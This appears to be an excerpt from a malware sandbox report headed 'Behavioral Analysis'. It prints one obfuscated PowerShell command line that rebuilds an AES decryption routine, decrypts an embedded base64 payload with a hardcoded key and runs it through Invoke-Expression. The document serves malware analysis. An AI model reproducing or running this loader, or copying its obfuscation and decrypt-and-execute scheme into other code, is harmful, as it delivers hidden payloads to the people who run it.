Behavioral Analysis

powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI31288118537265901671092296545801CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnI9qzw9rWNQXNXTkOMi91Vo37XNXwKsDkID6RFqNMIb+XDhn4Y5AbEg30f25b/EyGdGGjWsHDIIox1WuVuUdOUadjhme+5zvVV44oiyworfCO2lfsB1IQVwYt2W3SwF0Ux7M7imAEKs79W60z/0ynAsj8hj2vt/lnFQIiUMLXwxtg0ygxaA1q2xZSJwwSMDWyzIontKVe2xHt1HI77rYSt/VnOayqQ2yg7Mp48pY+uj2EZP74FtBnkcE9p92gZJxz+peJ+AKTzl7JeqJQuodXWFmK9sgGK4n13RybKFC+dVb8O8Krc/u05EdmP8zqWyMN4CIIIo6bc+uy3dadl98BZbD0z03uf3Oz6xO+gLfn9tOR1YKsukLXT2OScPDC2jP9f9Yqq+KSXQNHugPnILvW7k+DBL1ZjUxKLNlvCe0NOpwgh8+75a/DTYGBpNBdkSv6BeMFiZTOcAGGEAB5TlZIOZzRTBw8GIX57ryKhBD+OOgtPd2gLFQriTRl2LIoUqCZ1NdzqGQpGwwf4BXbnED2n7yIY2OKKYAovsduKNeTRlypT3jEkMxq1Z51SmOLPNtSqgYjTlhY1Pf+4wEgtf5RvJnRdkbil32H7SckZeqIf4a57uzHIqbcG+bjJT0/Q8jk0lXBCRIMGQd1Frr3sKLigZVlZV51M8hR24sv8ALa2EgO+gSMuthSXw3J2JazJgRKFhsjaMNJMFeeAuPC9u3bhyNRUUxtNbaEkf5p/2U/Td9f3luetP2LV6G1qctY5iGj1puWd+7Oa1A9Jx8sKWBfK7ssUEzfA5tRfwJs+Yig4neb6zjDL+RrpEHNFlkE8+TDOUhcNUOaaxmdagb669MaY6AUHuBGbW4T3clqQY3KqMWiWxvWFBjhAXh4oSmZFSY/+TaEY+Bjm7AbSBTspTWmyfY2HbT2L5cOwDGAAmIx3UR2NUByK70uEAvM2Yz5ioHv8hB18Qc2MMkbxqSrhFr41oRCPhdCx89cUfnKhXUDDd2TkPICClvjRXaMqZ9/NY0GbTYZhUyGeiljzB9o333Pd4tXJeCeAXf7pdSIB5lulheY+jHzCGimEp3VVl2AkjOwPbeoJhwjAUV22t+K1mLSHCLkb+kxdZ8PTVzqfErU5M/wAcukzKiEIWL67nmNrbrCQr0n4yiBww55JzH6QlqH4bo8R3wkrh+6GeX2DuozRIcrO+EJkFIyPGqzNOLbPmOMp2ywAQFZmKLtSNxMb1p4gtH1hzuGDw855hxFyyAs5y4m0NtXFrTGbDRUXgJ0rYRgPSAr/DFlNfYC4xRFI4A4HllUDOPIr2vsL8x87drooa8oqLFJuRFU8yqTyYdo3WNhu0QjHhbWlwKo+VZRctR1fsH+/yM/e99xk2kRcHOemzLzjSfiD4PKV4nvV6jwTReR+4NtyQtYW+KGUdbNqX7Wd4A==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')